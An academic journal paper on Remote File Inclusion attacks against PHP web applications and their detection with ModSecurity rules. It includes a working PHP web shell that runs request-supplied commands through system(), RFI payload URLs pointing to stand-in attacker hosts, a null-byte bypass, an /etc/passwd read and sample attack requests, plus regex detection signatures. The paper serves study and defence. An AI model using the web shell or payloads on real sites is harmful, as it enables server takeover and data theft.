International Journal of Science Engineering and Advance Technology

Study on Remote File Attacking – Inclusion & Detection

Bhawna Sinha
Research Scholar – IT
B. R. Ambedkar Bihar University
Muzaffarpur

Dr. D. K. Singh
Professor - Mathematics
B. R. Ambedkar Bihar University
Muzaffarpur

Dr. Pankaj Kumar
Head – Department of Electronics
L. S. College, Muzaffarpur

***Abstract*— Presently applications of web are increasing exponentially. We are almost totally dependent on Internet and associated technologies. Huge applications in all walk of lives are inviting attacks on them. Their usage are under constant by hackers that exploit their vulnerabilities to disrupt business and access confidential information. SQL Injection and Remote File Inclusion are the two most frequently used exploits and hackers prefer easier rather than complicated attack techniques. RFI is an overlooked menace. RFI attacks are more widespread than most assume. RFI attacks are today's most common security threat, accounting for more than 25% of all malicious sessions, far surpassing XSS (12%) and even exceeding SQLIs (23%). RFI uses the weakness of PHP language which in today's world is the most widely used.**

***Index Terms*— Security, Exploit, Vulnerability, RFI, Attack, File Inclusion**

Introduction

World Wide Web has been able to change the way people communicate and do business. From individuals to large organizations, everyone uses the web. In fact, web applications quickly spread all over the world in the form of personal web sites, blogs, news, social networks, forums, e-commerce applications, etc. These days even critical infrastructures like water supply, power supply, banking, insurance, stock market, retail, communications, defense, etc. rely on the web and on applications that run in these environments.

As the importance of the assets accessed and managed by web applications increases, so does the interest of malicious minds in exploiting this. Frequently, web applications developed with a strong focus on functionality and usability find themselves under heavy attack by hackers and organized crime, exploiting their weaknesses and vulnerabilities.

Some of the most common attacks are as follows [3]:

1. Brute Force/Dictionary: It attacks the weaknesses in the passwords typically used in web applications and the application logic.

Brute Force attack: The exploit does simple iterations until it guesses the correct password of the victim whose user name was known.

Dictionary attack: It uses a file of common passwords to try to check if any of them is the correct one.

2. Admin Takeover: These exploits attack a bug in the application logic that allows unauthenticated or normal users to execute a function that should only be accessible to administrators.

3. SQL Injection: the exploit alters the SQL query that is sent to the back-end database to manipulate sensible data. The idea of this particular attack is to append a second query to an already existing one for which the results will be displayed by the web browser.

4. Cross Site Scripting (XSS): The exploit tweaks the vulnerable input variable with a text containing a special crafted HTML or scripting language (usually JavaScript). XSS exploitation may allow the attacker to do web site defacement, steal application cookies allowing the impersonation of the victim in the vulnerable web site, etc. However, most of XSS exploits analyzed target a more dangerous issue: the remote execution of OS commands in the web server machine as the root user.

5. Remote File Inclusion (RFI): the RFI allows arbitrary code execution on the server. This is considered one of the methods used by hackers to create botnets and serve malware worldwide.

6. Local File Inclusion (LFI): This is achieved by maliciously altering the value of a vulnerable variable containing the path of the target file. If the access is not correctly restricted and the application is not well managed, the information that can be obtained may be enough for the attacker to access critical information (e.g. web application user names and passwords).

Not much research has been done on RFI vulnerabilities. This study will include research on various RFI attacks, detection and prevention techniques. Remote file inclusion vulnerabilities occur because of:

(a) Application Misconfiguration: Application Misconfiguration attacks exploit configuration weaknesses found in web applications. Many applications come with unnecessary and unsafe features, such as debug and QA features, enabled by default. These features may provide a means for a hacker to bypass authentication methods and gain access to sensitive information, perhaps with elevated privileges.

(b) Improper input handling: Applications receive input from various sources including human users, software agents (browsers), and network/peripheral devices to name a few. In the case of web applications, input can be transferred in various formats (name value pairs, JSON, SOAP, etc) and obtained via URL query strings, POST data, HTTP headers, Cookies, etc. Non-web application input can be obtained via application variables, environment variables, the registry, configuration files, etc. Regardless of the data format or source/location of the input, all input should be considered not trusted and potentially malicious. Applications which process not trusted input may become vulnerable to attacks.

<?php echo "I'm from Figure a "; ?>	<?php include 'a.php'; echo "-- I'm from Figure b"; ?>
Output: I'm from Figure a	Output: I'm from Figure a -- I'm from Figure b
Figure-a: a.php code	Figure-b: b.php code

I. OVERVIEW OF RFI ATTACK

A. Definition

RFI stands for Remote File Inclusion that allows the attacker to upload a custom coded/malicious file on a website or server using a script. The vulnerability exploits the poor validation checks in websites and can eventually lead to code execution on server or code execution on website (XSS attack using java script). [1] [3] [7]

Using RFI you can literally deface the websites, get access to the server and do almost anything. What makes it more dangerous is that you only need to have your common sense and basic knowledge of PHP to execute this attack.

The RFI attack vector includes a URL reference to the remotely hosted code. Most attacks include two steps. In the first step the attack vector references a simple validation script, usually capable of printing some distinguished output to the HTML page. If the validation script is successfully executed by the server under attack then the attacker proceeds with a second vector that references the actual payload script. The servers hosting the scripts are either compromised servers or file sharing services.

Depending on the severity, it can lead to:

- Code execution on the web server
- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).
- Denial of Service (DoS)
- Data Theft/Manipulation

B. First look at RFI vulnerability

PHP like other languages has an include directive that allows you to include and execute code from another file. [2] [4] For example, the code in Figure-b includes and executes the code of Figure-a as is seen in the output.

PHP allows two language components to come together and allow an attack. The first component allows the include directive to include files from a remote web server. The second allows a HTTP request to manipulate uninitialized internal variables via the parameters passed--depending on the application, this component is not always required, but a majority of exploits depend on this.

In a web application, one way data is passed to a script is by sending a parameter name and value in the URL. This parameter and the data it contains is associated and accessed via a variable inside the script. In PHP, variables do not have to be initialized before they are used. PHP assigns uninitialized parameters to variables of the same name.

C. Why does it occur?

There are various limitations in PHP which can be used by attackers include a remote file, these are listed below:

1. The include() functions are designed to help programmers increase code reuse and to help with version control. Specifically, they allow app developers break a large PHP application into small files. These files can then be glued together using the include() function. By passing filenames into the include() function, PHP will, in essence, copy the contents of the small file into the main program and execute it.

The include(), include_once(), require() and require_once() functions are capable of accepting remote URLs when allow_url_include is enabled. This option shouldn't even exist let alone be capable of being set to On.

2. These functions will also accept other stream URIs to local resources including mysterious URIs containing php://, ogg://, zlib://, zip:// and data:// among a few others.

II. A FEW EXAMPLES

A. Example 1:

The first step is to find vulnerable site, you can easily find them using Google dorks.

Study of advanced password hacking using Google dorks gives a fair idea of finding vulnerable sites [9].

Let us assume we have found a vulnerable website,

http://victimsite.com/index.php?page=home

This website pulls documents stored in text format from server and renders them as web pages. We can find ways around it as it uses PHP include function to pull them out.

http://victimsite.com/index.php?page=http://myhackersite.com/evilscript.txt

Here we have included a custom script "evilscript" in text format from a dummy website “myhackersite.com”, which contains some code.

Now, if it is a vulnerable website, then any of these 3 things can happen:

- Case 1 – We have noticed that the url consisted of "page=home" which had no extension, but we have included an extension in our url, hence the site may give an error like 'failure to include evilscript.txt.txt', this might happen as the site may be automatically adding the .txt extension to the pages stored in server.
- Case 2 - In case, it automatically appends something in the lines of .php then we have to use a null byte '%00' in order to avoid error.
- Case 3 - Successful execution.

Now once we have battled around this, we might want to learn what to code inside the script. We might code ourselves a new script. For this, knowledge of PHP might come in handy. As an example:

```
<?php
echo "<script>alert(U 4r3 0wn3d !!);</script>";
echo "Run command: ".htmlspecialchars($_GET['cmd']);
system($_GET['cmd']);
?>
```

The above code allows you to exploit include function and tests if the site is RFI vulnerable by running the alert box code and if successful, you can send custom commands to the linux server in bash. If it works, we can try our hands on some Linux commands. For example to find the current working directory of server and then to list files, we will be using 'pwd' and 'ls' commands [9]

http//victimsite.com/index.php?cmd=pwd&page=http://myhackersite.com/ourscript

http//victimsite.com/index.php?cmd=ls&page=http://myhackersite.com/ourscript

It sends the command as cmd we put in our script and begins print the working directory and list the documents. Also, we can almost make the page proclaim that we hacked it by using the 'echo' command.

Now as expected, we now have complete control of the website. We can download, remove, rename, etc. We can also download from the website using “wget” function.

B. Example 2:

Consider this PHP script (which includes a file specified by request):

```
<?php
  if (isset( $_GET['LOCATION'] ) ){
    include( $_GET['LOCATION'] . '.php' );
  }
?>
<form method="get">
  <select name="LOCATION">
    <option value="delhi">delhi</option>
    <option value="mumbai">mumbai</option>
  </select>
  <input type="submit">
</form>
```

The developer intended only delhi.php and mumbai.php to be used as options. But as anyone can insert arbitrary values for the LOCATION parameter, it is possible to inject code from other files.

•/vulnerable.php?LOCATION=http://evil.example.com/webshell.txt? - injects a remotely hosted file containing a malicious code.

•/vulnerable.php?LOCATION=C:\\ftp\\upload\\exploit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)

•/vulnerable.php?LOCATION=C:\\notes.txt%00 - example using NULL meta character to remove the .php suffix, allowing access to files other than .php.

•/vulnerable.php?LOCATION=/etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.

III. DETECTION TECHNIQUES

Before researching on various RFI attack detection techniques, we must understand ModSecurity rules.

A. ModSecurity

ModSecurity is a web application firewall engine that provides very little protection on its own. In order to become useful, ModSecurity must be configured with rules. Unlike intrusion detection and prevention systems, which rely on signatures specific to known vulnerabilities, the OWASP (Open Web Application Security Project) ModSecurity Core Rule Set provides generic protection from unknown vulnerabilities often found in web applications, which are in most cases custom coded. The Core Rules are heavily commented to allow it to be used as a step-by-step deployment guide for ModSecurity [11] [12]. We just need to have expertise in writing the rules.

B. How to write ModSecurity rules?

SecRule is a configuration directive which creates a rule that will analyze the selected variables using the selected operator.

Syntax: SecRule VARIABLES OPERATOR [ACTIONS]

Every rule must provide one or more variables along with the operator that should be used to inspect them. If no actions are provided, the default list will be used [11].
ARGS [11] is a collection and can be used on its own with a static parameter (matches arguments with that name). Eg. SecRule ARGS:p
The above example will only look at the arguments named p.

C. Detection Techniques

A common protection method from RFI attacks is to mitigate a known vulnerability (in many cases vulnerability that was already exploit by malicious users) by adding rule that will add specific protection to the vulnerable application.

1) Virtual patching

This includes a rule to protect an application from the vulnerability which should block all HTTP requests to your V-Webmail (V-Webmail is a powerful PHP based Webmail Application with abundance of features) site that:

• Contain a URL in the parameter "CONFIG[pear_dir]" [4] [12]
• In the URLs:
/vwebmail/includes/mailaccess/pop3/core.php
/v-webmail/includes/mailaccess/pop3.php

An example of an attack looks like:

```
GET/vwebmail/includes/mailaccess/pop
3/core.php?CONFIG[pear_dir]=http://w
ww.malicious_site.com/hacker.txt
HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0
```

Example of a rule to virtually patch this vulnerability with ModSecurity [12] is:

```
SecRule REQUEST_FILENAME:
"/vwebmail/includes/mailaccess/pop3/cor
e.php|/v-
webmail/includes/mailaccess/pop3.php"
"d
eny,t:urlDecodeUni,t:htmlEntityDecode,t
:lowercase,chain,msg:'V-Webmail
vulnerability',severity:1,phase:2"
SecRule ARGS:CONFIG[pear_dir] "^"
```

2) Generic Signatures

In this approach, we try to search for a signature such as "(ht|f)tps?://" [12].

The rules in this case includes the following conditions:
• IP Address: Using an IP address as external link may indicate an attack. And therefore a rule for detecting such a condition should search for the pattern "(ht|f)tps?://" followed by an IP address.

An attack using IP address looks like:

```
GET
/?include=http://192.0.55.2/hacker.txt
HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1; SV1)
```

And the ModSecurity rule to detect it is:

```
SecRule "ARGS" "@rx
(ht|f)tps?://([\d\.]+)" "
t:urlDecodeUni,t:htmlEntityDecode,t:low
ercase,deny,phase:2,msg:'Remote File
Inclusion' "
```

• The PHP function "include()": We have seen many attack vectors that tries to include remote file by using injection of code typically containing the PHP keyword include.

A rule for detecting such a condition should search for "include(" followed by "(ht|f)tps?://"

A typical attack using an include PHP keyword looks like:

```
GET/?id={${include("http://www.malicuos
_site.com/hacker.txt")}} {${exit()}}HT
TP/1.1
Host: www.test.com
User-Agent: Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;
```

And the ModSecurity rule to detect it is [12]:

```
SecRule "ARGS" "@rx
\binclude\s*\([^)]*(ht|f)tps?://"
"t:urlDecodeUni,t:htmlEntityDecode,t:lo
wercase,deny,phase:2,msg:'Remote File
Inclusion' "
```

• Remote inclusion ends with question mark :

Many of the RFI attack vectors contain at least one question mark at the end of the inclusion without any parameters following it, this is because they try to bypass applications that append information to the user input, for example such a PHP code.

include($format . '.php');

The $format is the user input and the ".php" is added as extension, appending "?" to the end of the user input eliminates the appended extension.
A rule for detecting such a condition such an attack should search for "(ft|htt)ps?.*\?$".

A typical attack using a question mark at end looks like [4][12]:

```
GET
/?include=http://www.malicuos_site.com/
hacker.txt? HTTP/1.1
Host: www.test.com
User-Agent:  Mozilla/4.0  (compatible;
MSIE 6.0; Windows NT 5.1;
```

And the ModSecurity rule to detect it is

```
SecRule "ARGS" "@rx (ft|htt)ps?.*\?+$"
"t:urlDecodeUni,t:htmlEntityDecode,t:lo
wercase,deny,phase:2,msg:'Remote  File
Inclusion' "
```

IV. REFERENCES

[1] Michal Hubczyk, Adam Domanski, and Joanna Domanska, "Local and Remote file inclusion", Springer 2012.

[2] Documentation - "A Multi-Perspective View of PHP Remote File Include Attacks", SANS Institute 2010.

[3] José Fonseca, Marco Vieira, Henrique Madeira, "The Web Attacker Perspective – A Field Study", IEEE 2010.

[4] Chris Snyder, Thomas Myer, and Michael Southwell, "Preventing Remote Execution", Springer 2010.

[5] El-Bahlul Fgee, Ezzadean H. Elturki, A. Elhounie, "Security for Dynamic Websites in Educational Institution", IEEE 2012 Sixth International Conference.

[6] Robert Moskovitch, Dima Stopel, Clint Feher, Nir Nissim, Yuval Elovici, "Unknown Malcode Detection via Text Categorization", IEEE 2008.

[7] Hugo F. Gonz´alez Robledo, "Types of hosts on a Remote File Inclusion(RFI) botnet", IEEE 2008.

[8] Jun-Hyung Park, Minsoo Kim, Bong-Nam Noh, James B D Joshi, "A Similarity based Technique for Detecting Malicious Executable files for Computer Forensics", IEEE 2006

[9] Brad Wardman, Gaurang Shukla, Gary Warner, "Identifying Vulnerable Websites by Analysis of Common Strings in Phishing URLs" , IEEE 2009

[10] Yuxin Meng, Lam-for Kwok, "A Generic Scheme for the Construction of Contextual Signatures with Hash Function in Intrusion Detection", IEEE 2011

[11] "ModSecurity Rule Writing Workshop" Ivan Ristic

[12] Or Katz , Breach Security Inc. Documentation - "Detecting Remote File Inclusion Attack", May 2009